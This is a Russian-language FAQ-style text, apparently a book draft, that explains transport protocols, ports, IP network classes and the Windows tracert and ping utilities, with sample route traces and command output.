Транспортный уровень реализован поверх сетевого, т.е. опирается на протоколы сетевого уровня. В Интернет он представлен протоколами TCP (Transmission Control Protocol – Протокол Управляемой Передачи) и UDP (User Datagram Protocol – Протокол Пользовательских Дейтаграмм). В задачи транспортных протоколов входит обеспечение надежной и достоверной доставки данных через сеть. Они же заведуют установкой, поддержанием и упорядочиванием каналов соединения, обнаруживают и по возможности устраняют ошибки передачи.

Различие между ними в том, что TCP гарантирует доставку данных и аутентичность отправителя (т.е. позволяет убедиться, что отправитель именно тот, за кого себя выдает), а UDP обеспечивает лишь контроль целостности данных, не ручаясь ни за успешность их доставки получателю, ни за достоверность адреса отправителя.

Может показаться, что UDP "плохой" протокол. Частично это так и есть, поэтому-то, в подавляющем большинстве случаев используется именно TCP. С другой стороны, UDP заметно производительнее TCP, поскольку не требует накладных расходов на поддержание соединения.

Прикладной уровень обеспечивает высокоуровневый интерфейс между сетевыми приложениями. Сюда относятся протоколы работы с почтой (POP3, SMTP, IMAP), сетевыми новостями (NNTP), файлами (FTP) и так далее.

Конечно, это очень грубая схема, но общение представление о функционировании Интернет с ее помощью получить можно.

Родственные вопросы:

Что такое ping и для чего он нужен?

Что такое протоколы и с чем их едят?

Как определить полный путь (прохождение) при скачивании файла

Q:Что такое порт?

Физические порты ввода-вывода хорошо известны и интуитивно понятны. Может быть, нечто аналогично есть и в Интернет? На самом же деле, с сетевой точки зрения порт - одно из полей заголовка пакета (строго говоря, их даже два - порт отправителя и порт получателя). Наличие портов позволяет уточнять с каким именно приложением, из всех, установленных на удаленном узле, клиент хочет установить соединение. Каждое из приложений "закрепляет" за собой один или несколько портов и получает все приходящее пакеты, в заголовках которых прописаны те же значения. Пакет, который никто не забирает, уничтожается, а отправителю возвращается сообщение об ошибке (в этом случае на жаргоне говорят, что "порт закрыт"). Если образно представить себе IP-адрес как номер дома, то порт – это номер квартиры.

Такая схема обеспечивает совместную работу множества приложений, так, например, на одном и том же компьютере, имеющим всего один IP-адрес, могут быть установлены почтовый сервер, сервер новостей, web-сервер, ftp-сервер. И никаких конфликтов и разборок "это чей пакет?" между ними не возникает.

Очевидно, что приложение-отправитель и приложение-получатель должны использовать общие соглашения. Можно придумать множество механизмов, обеспечивающих синхронизацию портов отправителя и получателя, но самым простым оказалось закрепить за каждым протоколом определенные порты, заставив разработчиков программного обеспечения придерживаться этого стандарта.

Прочная ассоциация порт-протокол привела к тому, что эти два термина стали частенько путать. Фраза "свяжись с сервером по сто десятому порту" - подразумевает "свяжись с сервером по протоколу POP3". На самом же деле, почтовый сервер может быть настроен и на другой порт, значение которого каким-то образом доносится клиенту.

Q: Как определить полный путь (прохождение) при скачивании файла Сергей Иванов

Точный маршрут пакетов неопределим в силу своего непостоянства – пакеты движутся по очень сложной кривой, избегая перегруженных маршрутизаторов и огибая поврежденные участки. Вовсе не факт, что два одновременно посланных пакета дойдут по получателя одним и тем же путем: вот случится посреди дороги сбой – один пакет успеет проскочить, а второй будет вынужден идти в обход.

??? Рисунок "карикатура" Дорога через лес, падает дерево, один человек, символизирующий пакет, успевает под ним проскочить, а второй идет по узкой тропике в обход.

"Мгновенный маршрут" может быть определен утилитой tracert, входящий в штатную поставку Windows.

Принцип ее работы в общих чертах выглядит так: она отправляет серию дейтаграмм на несуществующий порт по адресу, указанному в командной строке. Значение поля TTL (Time To Live – см. "Оптимизация соединения с Интернет") первой тройки дейтаграмм равно одному. Все три дейтаграммы "прибиваются" первым же маршрутизатором, поскольку он, уменьшив содержимое поля TTL на единицу, обнаруживает, что оно равно нулю, т.е. срок жизни пакета истек и пакет надлежит уничтожить, уведомив об этом отправителя. А, посылая отправителю "похоронку", маршрутизатор тем самым раскрывает свой IP-адрес!

Затем tracert посылает вторую серию дейтаграмм со значением TTL равным двум и их "прибивает" второй маршрутизатор в цепочке… так, поле TTL продолжает увеличиваться до тех пор, пока пакет не достигнет точки назначения.

А как tracert узнает, что пакет достиг точки назначения? Очень просто – конечный узел сам уведомляет об этом, посылая уведомление о невозможности принятия дейтаграммы на несуществующий порт.

Техника трассировки не свободна от ограничений. Вот некоторые из них

– достаточно часто уведомление об уничтожении пакета идет к отправителю совсем другим путем, нежели исходный пакет. Поэтому, определить точное время пересылки пакета невозможно – оно не всегда равно половине времени задержки с момента отправки дейтаграммы до момента получения уведомления. На практике расхождение составляет 300%-400%, если не больше!

– некоторые маршрутизаторы молчаливо "прибивают" мертвые пакеты, не посылая никакого уведомления или, даже если посылают, эти уведомления могут быть блокированы межсетевыми экранами, владельцы которых справедливо полагают: чем меньше всякие личности знают о топологии их сети, тем безопаснее работа и здоровее сон. (см. "Почему tracert умирает на полпути к узлу").

В простейшем случае tracert вызывается с указанием IP-адреса или доменного имени узла назначения, например, так:

C:\>tracert

Трассировка маршрута к [195.2.70.38]

1 140 ms 130 ms 140 ms [195.151.210.36]

2 151 ms 140 ms 150 ms [195.151.210.33]

3 171 ms 160 ms 170 ms [195.151.210.29]

4 161 ms 160 ms 180 ms 195.151.200.90

5 260 ms 231 ms 300 ms [195.151.52.41]

6 391 ms 340 ms 371 ms [194.84.251.246]

7 340 ms 451 ms 410 ms [193.232.88.23]

8 360 ms 501 ms 330 ms [193.232.244.48]

9 821 ms 901 ms 2164 ms [213.189.198.25]

10 441 ms 320 ms 341 ms [195.2.70.38]

Отчет tracert состоит из следующих частей: крайняя слева колонка содержит номер маршрутизатора в цепочке, считая от отправителя (узел самого отправителя в этот список не входит); три следующие колонки содержат время задержки с момента посылки дейтаграммы до получения уведомления. В силу непостоянства скорости передачи пакетов, особенно заметной на перегруженных каналах, однократный замер времени задержки не позволяет судить о средней скорости, вот поэтому-то и используются три последовательные посылки, позволяющие вычислить моду {>>>>> сноска мода – это наиболее часто встречающиеся значение скорости, например, для ряда замеров 1,6,6,6,7 мода равна 6, а среднее арифметическое –5} скорости.

Большинство руководств утверждает, что, анализируя приращение задержки на каждом последующем маршрутизаторе, можно определить скорость пересылки пакетов между маршрутизаторами. Это неверно! Непостоянство временных задержек в несколько раз превышает скорость доставки пакетов от одного маршрутизатора к другому, к тому же как бы это ни казалось парадоксально, но уведомления от дальних маршрутизаторов могут идти более коротким путем, чем от ближних, и результаты вычисления дадут отрицательные значения. Судите сами (см. табл. 1):

1й замер

t

2й замер

t

3й замер

t

t средне

откл %

1

140

+140

130

+130

140

+140

+137

7%

2

151

+11

140

+10

150

+10

+10

10%

3

171

+20

160

+10

170

+20

+17

6%

4

161

-10

160

0

180

+10

0

---

5

260

+99

231

+71

300

+120

+97

70%

6

391

+131

340

+109

371

+71

+104

50%

7

340

-51

451

+111

410

+39

+99

112%

8

360

+20

501

+50

330

-80

-3

---

9

821

+461

901

+400

2164

+140

57%

10

441

-380

320

-581

341

-480

20%

Таблица 1 Вычисление скорости передачи пакетов от одного маршрутизатора к другому

Время задержки по мере продвижения по цепочке маршрутизаторов нарастает отнюдь не линейно, а хаотично, испещряясь отрицательными значениями, а погрешность в своей массе залазит за 50%, местами доходя до 100% и выше. Не очень-то точные измерения получаются!

Родственные вопросы:

Провайдер и удаленный доступ  Оптимизация соединения с Интернет

Почему tracert умирает на полпути к узлу

Q:Почему трассировка умирает на полпути к серверу назначения?

Довольно часто попытка трассировки пути прохождения пакетов заканчивается провалом – трассировка "умирает" не доходя до сервера, выводя бесконечно длинную вереницу ругательств "Превышен интервал ожидания для запроса". Но сколько ни увеличивай интервал ожидания (см. "Каково назначение ключей tracert") – ругательства не исчезают!

C:\>tracert -w 10000

Трассировка маршрута к [194.67.18.8]

с максимальным числом прыжков 30:

1 140 ms 140 ms 130 ms [195.151.210.36]

2 140 ms 140 ms 140 ms [195.151.210.33]

3 190 ms 440 ms 171 ms [195.151.210.29]

4 160 ms 160 ms 171 ms 195.151.200.90

5 171 ms 180 ms 941 ms [195.151.52.41]

6 181 ms 180 ms 190 ms [194.84.251.246]

7 180 ms 201 ms 190 ms [193.232.88.23]

8 180 ms 191 ms 180 ms [193.232.244.43]

9 180 ms 181 ms 180 ms [194.186.157.241]

10 * * * Превышен интервал ожидания для запроса.

11 * * * Превышен интервал ожидания для запроса.

12 * * * Превышен интервал ожидания для запроса.

13 * * * Превышен интервал ожидания для запроса.

14 * * * Превышен интервал ожидания для запроса.

15 * * * Превышен интервал ожидания для запроса.

Виной тому пугливые администраторы, запрещающие в целях безопасности посылку уведомлений об уничтожении пакета с истекшим TTL, либо блокирующие дейтаграммы, приходящие на "левый" порт. Не то, чтобы трассировка могла сильно навредить, но к чему раскрывать другим анатомию своей локальной сети?

Аналогичная ситуация наблюдается и при попытке проникновения за Proxy-сервер – он либо вовсе отказывается посылать дейтаграмму на несуществующий порт, либо посылает, но прописывает собственное значение TTL в заголовке, отчего трассировка перестает работать. Причем, это справедливо по обе стороны от Proxy-сервера!

Родственные вопросы:

Каково назначение ключей tracert

Можно ли обойти защиту от трассировки?

Q: Можно ли обойти защиту от трассировки?

Обойти защиту от трассировки ничуть не легче, чем достать Луну с неба, но если очень-очень хочется, попробуйте обратится за помощью к утилите ping – будучи запущенной с ключом r, она заставляет промежуточные узлы вносить свои IP-адреса в заголовок дейтаграммы. Не все маршрутизаторы поддерживают такую возможность, но подавляющее большинство из них подчиняется этому требованию.

Последний узел в цепочке принимает пакет и возвращает эхо-отклик, содержащий в себе заголовок входящего пакета с адресами промежуточных хостов.

C:\>ping -r 9

Обмен пакетами с [212.24.32.192] по 32 байт:

Ответ от 212.24.32.192: число байт=32 время=410мс TTL=246

Маршрут: 195.151.210.36 ->

195.151.210.30 ->

195.151.200.89 ->

195.151.52.42 ->

194.84.251.245 ->

193.232.88.18 ->

193.232.244.41 ->

212.24.32.2 ->

212.24.32.192

Весьма существенный камень преткновения – жесткое ограничение на количество запоминаемых узлов – емкость IP-заголовка при всем желании не позволяет вмещать более девяти IP-адресов, что в большинстве случаев оказывается недостаточно. Во время проектирования IP-протокола эта цифра не казалась ограничением, скорее наоборот – запасом на будущее, равно как на заре рассвета микрокомпьютеров 640 килобайт оперативной памяти были пределом мечтаний, и никому бы и в голову не пришло, что наступят времена, когда такого объема может не хватить.

К тому же, ping – не панацея и эхо - отклики могут быть так же запрещены администраторами, как и уведомления об уничтожении пакетов (см. "Почему ping не проходит, а сайт сервера нормально работает и открывается?"). Правда, эхо - отклики администраторы запрещают гораздо реже, чем блокируют трассировку, поэтому, в некоторых случаях такой прием может помочь. Конечно, при условии, что клиента с сервером разделяет не более восьми узлов!

Родственные вопросы:

Почему ping не проходит, а сайт сервера нормально работает и открывается?

Q: Каково назначение ключей tracert?

Чаще всего утилита tracert вызывается без ключей, с одним лишь указанием IP-адреса или доменного имени трассируемого узла, но в некоторых случаях этого оказывается недостаточно и приходится прибегать к дополнительным ухищрениям.

Ключ d запрещает определение доменных имен промежуточных узлов. Это несколько ускоряет трассировку и порою бывает полезно. Тем более что имена узлов в любое время можно определить и самостоятельно по их IP-адресам с помощью утилиты nslookup.

Ключ h задает максимальное количество трассируемых узлов (по умолчанию 30), – это предотвращает возможные зацикливания, что полезно при автономном пакетном запуске. При интерактивной же работе с программой ее всегда можно прервать нажатием <Ctrl-Break>. В некоторых, очень экзотических случаях, тридцати переходов для достижения узла назначения не хватает и их количество приходится увеличивать, например, так: "tracert www.overfar.ch -h 121".

Ключ w задает предельный интервал ожидания отклика от каждого узла в миллисекундах. Если ответ от узла не будет получен в течение указанного времени, в соответствующей колонке интервала задержки появится "звездочка", а потеря всех трех дейтаграмм кряду вызовет "ругательство" "Превышен интервал ожидания для запроса". В таком случае следует воспользоваться ключом -w и увеличить интервал ожидания до нескольких секунд, например, до десяти: "tracert www.overlazy.fu -w 10000". Стоит отметить – увеличение времени ожидания не помогает, если маршрутизатор не посылает уведомлений или их уничтожает межсетевой экран (см. "Почему трассировка умирает на полпути к серверу назначения").

Ключ j задает список узлов для свободной маршрутизации от клиента. "Свобода" маршрутизации подразумевает, что дейтаграмма посетит все перечисленные узлы в указанном порядке, но соседние в списке узлы могут воспользоваться для передачи дейтаграммы услугами любых других промежуточных узлов. Эта возможность бывает полезна если между клиентом и сервером существует неединственный маршрут и пользователь хочет принудительно направить пакеты по выбранному им пути. На выбор пути наложено множество ограничений, в частности, промежуточные маршрутизаторы могут отказаться пересылать пакет по насильно навязанному адресу, особенно если этот узел вне пределов видимости данного маршрутизатора. Например:

C:\>tracert -j 195.161.42.222 {>>>> сноска IP-адрес узла }

Трассировка маршрута к [195.2.70.38] с максимальным числом прыжков 30:

1 901 ms 861 ms 952 ms [195.161.42.210]

2 1061 ms 1042 ms 1442 ms [195.161.42.222]

3 * * * Превышен интервал ожидания для запроса.

4 * * * Превышен интервал ожидания для запроса.

Трассировка быстро "умирает", поскольку, узел не может сообразить как ему передать пакет на , и уничтожает его от безысходности. Поэтому, использование ключа –j – прерогатива администраторов и высококвалифицированных пользователей.

Родственные вопросы:

Почему трассировка умирает на полпути к серверу назначения

Q:Можно ли увидеть карту всего Internet, связи, каналы, структура? Сергей Иванов

С "высоты птичьего полета" карту Интернет можно изобразить прямой линией с множеством нанесенных на нее IP адресов, так, чтобы каждый IP-адрес был связан со всеми остальными (см. рис. 10)

Рисунок 10 Рис. 0x014 – Схематическое изображение карты Интернет

Подлетев поближе, мы увидим, что IP-адреса группируются в "стаи", на техническом языке именуемые сетями, а самих сетей существует бесчисленное множество. Члены одной сети, как правило, обслуживаются одним "вожаком", то бишь одним поставщиком сетевых услуг и очень прытко спариваются друг с другом – гораздо легче и быстрее, чем с членами чужих сетей. С другой стороны – если вожак скинет копыта (провайдер зависнет) – парализуется работа всей стаи.

Определить принадлежность узла к той или иной подсети можно по его IP-адресу. Существует несколько различных типов сетей, отличающихся друг от друга максимально возможным количеством входящих в них узлов, – от сетей-малюток в пару сотен абонентов до гигантских мегаполисов из десятков миллионов узлов. Чем же вызвана такая вопиющая несправедливость?

Камень преткновения в ограниченной разрядности IP-адреса – при всем желании в жалкие 32 бита нельзя втиснуть больше, чем четыре миллиарда постоянных узлов. Учитывая все ускоряющие темпы роста Интернет – это совсем немного!

Если откинуть немногочисленные клинические случаи (оговоренные ниже), всякий IP-адрес состоит, по меньшей мере, из адреса сети и адреса узла в этой сети. Адрес сети занимает от одного до трех октетов (октет – это восьмерка бит, в общепринятой нотации представленная десятичным числом от 0 до 255 и отделенная от другого октета символом точки). Из-за переменной длины определить принадлежат ли два IP-адреса одной или различным сетям не так-то просто! Поэтому, ниже приведена таблица 2, облегчающая решение этой задачи.

Диапазон IP адресов

Класс сети

Макс. кол-во узлов сети

Макс. кол-во сетей

001.ххх.ххх.ххх - 126.ххх.ххх.ххх

А

16.777.214

126

128.000.ххх.ххх – 191.255.ххх.ххх

B

65.534

16.382

192.000.000.ххх – 223.255.255.ххх

С

254

2.097.150

Таблица 2 Классификация сетей Интернет

Попробуем это таблицей воспользоваться. Например, есть у нас два адреса: 119.013.200.01 и 119.014.22.221 – так, смотрим, старший, т.е. первый слева октет, – 119 – входит в диапазон 1 – 126 и, следовательно, указывает на сеть класса А. Три остальных октета задают адрес узла в этой сети. Таким образом, оба IP-адреса принадлежат одной сети – 119.000.000.000.

Другой пример: возьмем адреса 191.222.067.129 и 191.221.067.129. Так-с, первый октет – 191 – явно не входит в интервал 1 – 126 и не принадлежит сети класса А, но принадлежит сети класса B. Адрес сети класса B задается двумя октетами, следовательно, второй октет слева – это продолжение адреса сети. Но у наших IP-адресов вторые слева октеты разные – 222 против 221. Выходит, эти узлы принадлежат различным сетям.

Чтобы построить карту Интернет остается только разобраться как соединяются узлы одной сети и как сами сети взаимодействуют друг с другом.

При модемном соединении с провайдером все абоненты соединяются друг с другом и с внешним миром через специальный выделенный сервер (см. рис. 11.1). Для локальных Ethernet сетей более характерно "параллельное" подсоединение – с внешним миром узлы общаются через специальный сервер, а друг с другом – напрямую без посредников. Разумеется, это упрощенная модель: сети могут делиться на подсети, связанные между собой маршрутизаторами, а каждый узел локальной сети может принимать входящие звонки с одного или нескольких модемов. Таким образом, схема функционирования типичного провайдера сильно отличается от идеализированных моделей и ближе к рис. 11.2.

Рис 0x015 Типичная схема подключения к провайдеру, Рис 0x016 Типичная локальная Ethernet-сеть

Рисунок 11 Рис 0x017. Комбинированная модель

Сами сети в свою очередь так же соединены меж собой некоторым образом, причем, не всегда напрямую, а зачастую через длинную цепочку промежуточных сетей. Самое интересное, маршрут путешествия пакетов от одной сети к другой в большинстве случаев не единственный и не постоянный. Точно так, из Москвы в Ленинград можно отправиться и на самолете, и на поезде, и на легковой машине, и… да мало ли еще на чем! Аналогично: при соединении с сайтом , случается, что один пакет направляется по трансатлантическому кабелю, другой – из-за перегрузки маршрутизатора – идет через спутник, а третий доставляется совсем иным путем.

Разумеется, это возможно только в тех случаях, когда сети соединены друг с другом множественным образом, иначе – путь только один, равно как из таежной деревни Большие Грибы в Москву можно добраться лишь одним путем – сначала на санях до вокзала, а оттуда поездом до точки назначения с кучей пересадок. И никаких вам ни самолетов, ни вертолетов, ни спутников…

??? Рисунок "карикатура" – обыграть предыдущий абзац

Чтобы построить любую карту, не обязательно именно Интернет, необходимо отправиться в путешествие в процессе которого наносить на бумагу свой маршрут с указанием географических (или Интернет) координат. В Интернете координатами служат IP-адреса, ну а в роли картографа выступает утилита tracert из штатной поставки Windows, скрупулезно отмечающая все промежуточные узлы, посещенные пакетом. Остается только выбрать маршрут путешествия. Куда бы нам направится? Давайте посетим сайт провайдера . Итак, набираем в "Сеансе MS-DOS" "tracert.exe www.aha.ru" и ждем-с. Маршрут путешествия автора, пользующегося услугами првайдера krinel, выглядел так:

Трассировка маршрута к [195.2.70.38]

1 831 ms 871 ms * [195.161.42.210]

2 801 ms 771 ms 801 ms [195.161.42.222]

3 841 ms 831 ms 821 ms 195.161.241.1

4 841 ms 831 ms 851 ms 195.161.241.226

5 831 ms 802 ms 841 ms 217.106.16.49

6 811 ms 811 ms 891 ms 217.106.17.69

7 842 ms 811 ms 861 ms [213.24.141.185]

8 891 ms * 861 ms [195.161.0.2]

9 1061 ms 751 ms 831 ms [195.161.161.158]

10 932 ms 811 ms 871 ms [195.2.89.13]

11 1001 ms 851 ms 842 ms [213.189.198.22

22 942 ms 871 ms 931 ms [195.2.70.38]

О чем этот протокол говорит? Сначала пакеты попадают на "сортировочный пункт" – маршрутизатор с IP-адресом 195.161.42.210. Обратившись к таблице 2, выясняем, что это сеть класса "С", следовательно, адрес сети задается тремя старшими октетами и выглядит так: 195.161.42.0. Затем пакеты направляются на "сборочный пункт" – , судя по адресу сети, принадлежащий все тому же провайдеру, а затем – в другую сеть 195.161.241.0, затем вновь в другую и, наконец, добираются до крупного провайдера RosTelecom, который и является провайдером провайдера krintel. Погуляв немного по серверам Ростелеком-а, пакетики, наконец, устремляются в локальную сеть провайера zenon – того, что владеет сервером …

Таким образом, первая линия на карте Интернет проведена. Попробуем теперь другой маршрут – исследуем траекторию путешествия пакетов к серверу NASA, расположенного в далекой Америке.

Трассировка маршрута к foundation.hq.nasa.gov [198.116.142.34]

1 781 ms 982 ms 991 ms [195.161.42.210]

2 831 ms 912 ms 901 ms [195.161.42.222]

3 971 ms 832 ms 861 ms 195.161.241.1

4 841 ms 851 ms 841 ms 195.161.241.226

5 841 ms 861 ms 852 ms 217.106.16.49

6 862 ms 861 ms 831 ms [217.106.17.25]

7 851 ms * 861 ms [213.24.141.185]

8 * 882 ms 821 ms [195.161.0.2]

9 1052 ms 1031 ms 1112 ms [206.24.206.65]

10 1081 ms 1062 ms 1101 ms [206.24.194.62]

11 1062 ms * 1112 ms [204.70.9.139]

12 1111 ms 1162 ms 1061 ms [204.70.4.105]

13 1042 ms 1161 ms 1072 ms cable- [204.70.1.18]

14 1081 ms 1102 ms 1232 ms mae-east.nsn.nasa.gov [192.41.177.125]

15 1132 ms 1121 ms 1152 ms 128.161.3.14

16 1231 ms 1242 ms 1312 ms 128.161.1.62

17 1372 ms 1602 ms 1392 ms border.hcn.hq.nasa.gov [198.116.63.34]

Ага, оказывается, начальная часть маршрута совпадает – куда бы мы ни шли, мы все равно попадаем в Ростелеком, на базовый перевалочный путь, т.е. ту железнодорожную станцию Больших Грибов, куда приходится добиться на санях.

Впрочем, не всегда одними и тем же путями – в прошлый раз пакет направлялся на Московский сервер Ростелеком, а сейчас – на Ростовский! Но в целом путь всех пакетов идентичен – жирным шрифтом выделены совпадающие в обоих случаях точки маршрута.

Продолжая действовать в том же духе, поочередно соединясь с различными сетями, в некотором (весьма отдаленном) будущем мы сумеем построить если карту не всего Интернет, то, по крайней мере, некоторой его части. Нельзя ли как-нибудь автоматизировать этот процесс? Увы, нет…

Так надо ли этим заниматься? В общем-то, нет, но знать каким именно образом ваш провайдер соединен с внешним миром и кто провйдер првайдера под час очень полезно. Проследим маршрут пакетов к серверу , подключившись к другому провайдеру – itech.

Трассировка маршрута к [195.2.70.38]

1 140 ms 130 ms 140 ms [195.151.210.36]

2 151 ms 140 ms 150 ms [195.151.210.33]

3 171 ms 160 ms 170 ms [195.151.210.29]

4 161 ms 160 ms 180 ms 195.151.200.90

5 260 ms 231 ms 300 ms [195.151.52.41]

6 391 ms 340 ms 371 ms [194.84.251.246]

7 340 ms 451 ms 410 ms [193.232.88.23]

8 360 ms 501 ms 330 ms [193.232.244.48]

9 821 ms 901 ms 2164 ms [213.189.198.25]

10 441 ms 320 ms 341 ms [195.2.70.38]

Заметно, что теперь пакеты доходят втрое быстрее (320 ms задержки против 870) к тому же маршрут вдвое короче, а сам провайдер пользуется услугами Sprint-а, а не Ростелекома. Но самое интересное посмотреть каким образом идут пакты от провайдера itech к провайдеру krintel. Самих провайдеров физически разделяет каких-то двадцать километров, поэтому, думается, маршрут пакетов будет очень коротким…

Трассировка маршрута к [195.161.42.222]

1 * 2984 ms * [195.151.210.36]

2 2895 ms 1051 ms 180 ms [195.151.210.33]

3 220 ms 491 ms 180 ms [195.151.210.29]

4 240 ms 261 ms 220 ms 195.151.200.90

5 621 ms 1162 ms 1872 ms [195.151.52.41]

6 * * * Превышен интервал ожидания для запроса.

7 451 ms 450 ms 311 ms [193.232.88.20]

8 360 ms 501 ms 360 ms P [193.232.90.5]

9 1142 ms 521 ms * [193.251.248.41]

10 511 ms 611 ms 490 ms [193.251.150.241]

11 631 ms 441 ms 390 ms [193.251.150.33]

12 391 ms 561 ms 430 ms [193.251.154.185]

13 421 ms 540 ms 491 ms [193.251.154.114]

14 501 ms 430 ms 411 ms 195.66.225.48

15 1953 ms 1863 ms 2603 ms [193.45.0.129]

16 741 ms 431 ms 441 ms [193.45.129.37]

17 610 ms 491 ms 591 ms [193.45.129.4]

18 500 ms 381 ms 461 ms [193.45.36.202]

19 2925 ms 811 ms 641 ms [195.161.0.7]

20 431 ms 721 ms 441 ms [213.24.141.186]

21 420 ms 441 ms 451 ms [217.106.17.2]

22 751 ms 411 ms 521 ms 217.106.16.50

23 470 ms 421 ms 471 ms 195.161.241.227

24 531 ms 601 ms 550 ms [195.161.42.222]

О-го-го! Двадцать четыре перехода, с заходом в Санкт-Петербург, Стокгольм, Лондон, Москву, Краснодар, Ростов... Вот это "короткая" дорога! Дважды обогнуть Землю, чтобы попасть в исходную точку!

Зная, как провайдер соединен с внешним миром, с другими странами и провайдерами, можно не задумываясь распознавать самый быстрый из нескольких зеркальных серверов, причем осмысленно, а не методом тыка!

Например, входя в сеть через провайдера krintel бессмысленно пользоваться web и ftp Proxy-серверами провайдера itech – это только замедлит соединение. Напротив, зная, что у krintel-а связь с Америкой препаршивейшая, а с Японией даже быстрее, чем по России – имеет смысл найти бесплатный японский Proxy и через него скачивать с сайта любимой фирмы новую beta-версию всем известного браузера.

Q: Что такое ping и для чего он нужен?

Ping – эта такая утилита для проверки работоспособности сети. Принцип ее работы в общих чертах заключается в посылке узлу эхо – запроса и ожидании от него эха – ответа. Каждый узел сети Интернет должен уметь принимать эхо – запросы и возвращать эхо – ответы, разумеется, если он подсоединен к сети и работает.

Отсутствие эхо – ответа от сервера обозначает либо сервер "висит", либо имеется неустранимое повреждение сети на участке клиент – сервер, обойти в "обход" которое невозможно.

??? Рисунок "карикатура" Чел. кричит в бассейн || горы "ау! Есть тут кто живой!" и приложив руку к уху ждет ответа. А ему в ответ "да нет тут никого!"

Это свойство делает ping удобным инструментом проверки работоспособности узла и целостности соединения. Впрочем, отрицательный результат работы ping не всегда свидетельствует о наличии какой-либо проблемы (см. "Почему ping не проходит, а сайт сервера нормально работает и открывается?").

Родственные вопросы:

Почему ping не проходит, а сайт сервера нормально работает и открывается?

Q: Где я могу достать ping?

В штатный комплект поставки Windows входит консольная версия утилиты ping, вполне удовлетворяющая запросы непритязательного пользователя. Ping в графическом исполнении можно обнаружить в составе практически любого пакета сетевых утилит (NetInfo, CyberKit и т.д.)

Комплект разработчика Windows-приложений (SDK), входящий в частности в поставку компилятора Microsoft Visual Studio, содержит исходные тексты программы ping с достаточно подробными комментариями, что легко позволяет адоптировать ее к собственным нуждам и перекроить под собственный вкус.

Q: Каково назначение ключей утилиты ping?

Несмотря на свою простоту, утилита ping из штатной поставки Windows, принимает достаточно большое количество ключей командной строки, более чем поверхностно описанных в прилагаемой документации. Неудивительно, что многие возможности ping ускользают не только от начинающих, но и умудренных жизнью пользователей!

Ключ w используется для задания интервала ожидания эхо – ответа в миллисекундах (по умолчанию 20 секунд). Если отклик от сервера не будет получен в течение указанного времени, утилита ping сообщит "Превышен интервал ожидания для запроса", намекая на неработоспособность сервера или повреждение сети. На загруженных каналах медленных провайдеров ответ может прийти и через 30, и даже через 60 секунд, поэтому, интервал ожидания приходится увеличивать, например, так:

C:\>ping www.nastyhost.fu

Обмен пакетами с www.nastyhost.fu [195.2.70.38] по 32 байт:

Превышен интервал ожидания для запроса.

Превышен интервал ожидания для запроса.

Превышен интервал ожидания для запроса.

Превышен интервал ожидания для запроса.

Статистика Ping для 195.2.70.38:

Пакетов: отправлено = 4, получено = 0, потеряно = 4 (100% потерь),

Приблизительное время передачи и приема:

наименьшее = 0мс, наибольшее = 0мс, среднее = 0мс

C:\>ping www.nastyhost.fu -w 60000

Обмен пакетами с www.nastyhost.fu [195.2.70.38] по 32 байт:

Ответ от 195.2.70.38: число байт=32 время=34100мс TTL=117

Ответ от 195.2.70.38: число байт=32 время=38310мс TTL=117

Ответ от 195.2.70.38: число байт=32 время=39001мс TTL=117

Ответ от 195.2.70.38: число байт=32 время=10220мс TTL=117

Статистика Ping для 195.2.70.38:

Пакетов: отправлено = 4, получено = 4, потеряно = 0 (0% потерь),

Приблизительное время передачи и приема:

наименьшее = 10220мс, наибольшее = 39001мс, среднее = 30408мс

Ключ n задает количество отправляемых эхо – запросов (по умолчанию 4). Увеличение количества запросов бывает необходимо для контроля надежности и устойчивости работы сервера. Чем выше качество канала, тем меньше разброс по времени ответов.

Ключ t заставляет утилиту ping посылать запросы в бесконечном цикле до ее прерывания нажатием комбинации клавиш <Ctrl-C>. Внимание: <Ctrl-Break> не прерывает процесс, а выводит текущую статистику! Этот ключ очень удобен для ожидания момента пробуждения некстати зависшего сервера – запустил "ping www.hover-server.fu -t" и жди появления сообщения "Host Alive" или что-то в этом роде.

Ключ l задает размер дейтаграммы без учета длины заголовка (28 байт), посылаемой в эхо – запросе. Допустимыми являются значения от 0 до 65.500 включительно. По умолчанию размер дейтаграммы составляет 32 байта. Манипулируя этим значением можно выяснить зависимость скорость доставки – размер дейтаграммы. Если размер дейтаграммы превысит некоторую критическую величину (определяемую каждым промежуточным узлом самостоятельно), дейтаграмма разрезается на несколько пакетов подходящего размера, каждый из которых добирается до конечной точки маршрута самостоятельно, а на узле назначения они вновь собираются в исходную дейтаграмму.

Ключ f устанавливает на дейтаграмме специальную пометку, запрещающую ее разрезание (то есть, говоря техническим языком, фрагментацию). Если хотя бы один из промежуточных узлов не может обрабатывать пакеты таких размеров, он прибивает дейтаграмму и посылает отправителю уведомление, объясняя причину смерти тем, что требуется фрагментация, но установлена пометка, ее запрещающая. Впрочем, некоторые узлы не посылают такого уведомления, молчаливо отправляя пакет на тот свет или же разрезают дейтаграмму вопреки запрету (впрочем, последнее встречается редко). Вкупе с ключом –l, задающим длину дейтаграммы, запрет фрагментации ключом –f, позволяет определить максимальный размер не фрагментируемых пакетов. (см. "Оптимизация соединения с Интернет" и "Описание утилиты MTUSpeed").

Ключ i задает время жизни (сокращенно TTLTime To Live) пакета посылаемых дейтаграмм, измеряемое количеством узлов, которые может посетить пакет (по умолчанию 128). Каждый промежуточный узел уменьшает значение TTL на единицу и когда оно достигает нуля, пакет уничтожается с посылкой отправителю соответствующего уведомления. Это обстоятельство позволяет отслеживать маршрут путешествия пакетов, используя ping вместо утилиты tracert, что будет нелишним в тех ситуациях, когда tracert нет под рукой. (см. "Как определить полный путь (прохождение) при скачивании файла").

Для контроля выясним маршрут к некоторому узлу с помощью tracert, входящей в штатную поставку Windows:

Трассировка маршрута к [194.67.18.8]

с максимальным числом прыжков 30:

C:\>tracert

1 150 ms 130 ms 131 ms [195.151.210.36]

2 140 ms 141 ms 150 ms [195.151.210.33]

3 221 ms 180 ms 220 ms [195.151.210.29]

4 310 ms 401 ms 330 ms 195.151.200.90

5 300 ms 341 ms 270 ms [195.151.52.41]

А теперь вызовем ping, задав значение TTL равное одному. Первый же маршрутизатор, уменьшив его на единицу, обнаружит, что оно равно нулю и пошлет нам соответствующее уведомление. Итак…

C:\>ping -i 1

Обмен пакетами с [194.67.18.8] по 32 байт:

Ответ от 195.151.210.36: Превышен срок жизни (TTL) при передаче пакета.

И в самом деле, получен ответ от узла 195.151.210.36 – первого маршрутизатора в цепочке, как это видно по протоколу работы tracert.

Теперь увеличим значение TTL до двух и повторим процедуру:

C:\>ping -i 2

Обмен пакетами с [194.67.18.8] по 32 байт:

Ответ от 195.151.210.33: Превышен срок жизни (TTL) при передаче пакета.

